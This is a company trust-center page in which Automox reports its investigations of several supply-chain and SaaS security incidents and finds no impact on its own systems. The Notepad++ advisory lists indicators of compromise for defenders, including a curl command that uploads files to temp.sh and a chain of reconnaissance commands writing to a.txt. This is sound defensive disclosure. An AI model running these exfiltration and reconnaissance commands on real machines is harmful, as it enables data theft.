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Automox Security and Trust

Welcome to Automox's Trust Center. Our commitment to data privacy and security is embedded in every part of our business. Use this Trust Center to learn about our security posture and request access to our security documentation.

Our Automox Security Team embodies over three decades of operational expertise in designing and safeguarding large-scale, multi-tenant cloud and internet applications. In line with our dedication to fostering transparency and security, we mandate that all team members undergo stringent background checks before employment. This proactive approach ensures that our team operates in an environment that is both secure and transparent, reinforcing our commitment to creating a safer world.

Documents

DOCUMENTS2024 Bug Bounty Transparency Report

Trust Center Updates

Klue Security Incident

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Incidents

Automox uses Klue, a competitive intelligence platform integrated with our Salesforce environment. Following Klue's disclosure of a security incident in which the extortion group Icarus used a compromised Klue credential to steal OAuth tokens and access connected customers' Salesforce environments, the Automox security team investigated any potential impact to our environment and data.

We found no indicators of compromise in our internal logs. As an additional measure, we validated directly within Salesforce by reviewing Login History and Connected App OAuth usage for the Klue application, opened a support case with Salesforce, and rotated and revoked the Klue integration's credentials as a precaution. With Klue's cooperation, we reviewed the full set of Salesforce logs for the integration, covering all API event types across the period of exposure, and cross-referenced that activity against Icarus's known malicious IP addresses and Klue's own flagged egress addresses. We found no anomalous or malicious activity.

Automox's name later appeared on a list published by a second threat actor that had obtained a sample of the data stolen from Klue. Automox's data was not present in that sample. Klue notified customers that its CEO had personally contacted the organizations impacted by this second actor. Automox did not receive that outreach. Klue has confirmed to us that it has no indication that Automox data or our customers' data was affected.

Automox continues to monitor the situation and maintain communication with Klue and trusted partners.

Security Advisory: Notepad++ Hijacking Incident and Automox Verification

Vulnerabilities

Security Advisory: Notepad++ Hijacking Incident and Automox Verification

Date: February 2nd, 2026
Status: Investigated – No Impact Identified

Summary

Automox is aware of the recent security incident involving the Notepad++ (NPP) update mechanism. Following a comprehensive investigation by our security team, we have confirmed that Automox customers did not receive malicious updates or traffic through the Automox platform.

Our Investigation & Verification

Upon learning of the incident, Automox conducted a deep-dive audit of our Notepad++ update pipeline:

  • Direct Sourcing: We have verified that all Notepad++ updates provided through the Automox console were pulled directly from the official Notepad++ GitHub repository.
  • Pipeline Isolation: The Automox updater service is architected to deploy the software directly; it does not activate the internal Notepad++ updater pipeline (GUP.exe), which was the primary vector for this incident.
  • Manual Binary Scrutiny: Out of an abundance of caution, our Security team pulled all Notepad++ binaries that passed through our PatchSafe™ service during the affected timeframe. These binaries underwent high-level scrutiny and forensic analysis to ensure no malicious code was deployed.

Customer Impact

Based on these findings, we believe our customers remain protected. However, it is important to note that Automox cannot account for updates or manual installations performed outside of the Automox platform.

We recommend that security teams review the Indicators of Compromise (IoCs) below to ensure the integrity of their broader environment.


Indicators of Compromise (IoCs)

If you suspect an endpoint may have been compromised via a manual Notepad++ update outside of Automox, please monitor for the following activity:

Network & Process Behavior

  • Unauthorized Network Requests: Monitor gup.exe for any network requests to domains other than:
    • notepad-plus-plus.org
    • github.com
    • release-assets.githubusercontent.com
  • Unusual Process Spawns: gup.exe should typically only spawn explorer.exe or npp* themed installers. Any other sub-processes should be treated as suspicious.
  • Signature Verification: For versions 8.8.7 and 8.8.8, installers must have valid digital signatures signed by GlobalSign.

File System Activity

  • Suspicious Temp Files: Look for files named update.exe or AutoUpdater.exe located in the user TEMP folder, specifically where gup.exe has write or execute permissions.
  • Reconnaissance Activity: Detection of curl.exe (bundled with Windows 10+) calling out to temp.sh for data exfiltration.
    • Example: curl.exe -F "file=@.txt" -s https://temp.sh/upload

Host-Based Reconnaissance Commands

The following commands executed in sequence or via a suspicious parent process may indicate post-compromise activity:

cmd /c netstat -ano >> a.txt
cmd /c systeminfo >> a.txt
cmd /c tasklist >> a.txt
cmd /c whoami >> a.txt

Security Update – React2Shell (CVE-2025-55182)

Vulnerabilities

Automox’s Security team proactively evaluated our environment for any potential exposure to the React2Shell vulnerability (CVE-2025-55182). Using a purpose-built scanner and direct verification of framework versions, we confirmed that Automox’s web applications do not exhibit the vulnerable behavior and utilize React versions not affected by this issue.

At this time, there is no evidence of vulnerability or impact to Automox systems or customer data. We continue to perform routine validation across all components as part of our ongoing security best practices.

Automox will update this advisory promptly if new information becomes available.

F5 Security Incident

Incidents

Automox utilizes the open-source version of NGINX, which is maintained by F5, Inc. Following F5’s disclosure of a security incident in August 2025 involving certain internal systems, Automox conducted an internal review to assess any potential impact to our environments or customers.

Based on F5’s official disclosure and our independent verification, Automox systems were not affected. F5 has publicly stated:

“We have no evidence that the threat actor accessed or modified the NGINX source code or product development environment, nor do we have evidence they accessed or modified our F5 Distributed Cloud Services or Silverline systems.”
— F5 Security Incident Disclosure

Link: https://my.f5.com/manage/s/article/K000154696

Automox continues to monitor the situation and maintain communication with trusted partners to ensure the integrity and security of our software supply chain.

Salesloft Drift Incident

Incidents

Automox discontinued use of the Drift product, including the Salesforce integration, in April 2025. Per our standard practice, the API keys that allowed Drift to integrate with our Salesforce tenant were disabled.

On August 25, 2025, the Automox security team was alerted by an industry partner that our name had appeared in a non-public victim list. We were able to ascertain the precise job id of the query that the actor attempted to run against our Salesforce tenant on August 18th. Salesforce Support confirmed to us that the query was unsuccessful and returned no data. We also confirmed that additional indicators from various threat reports were not run against the Automox Salesforce tenant.

Regardless, we immediately rotated all API keys and credentials stored in Salesforce, including Salesforce credentials themselves. We further conducted a proactive investigation of all systems which had Drift integrations between August 8th and 18th, but we found no anomalous activity. We disabled any remaining integrations from Drift to our internal systems.

If you think you may have discovered a vulnerability, please send us a note.
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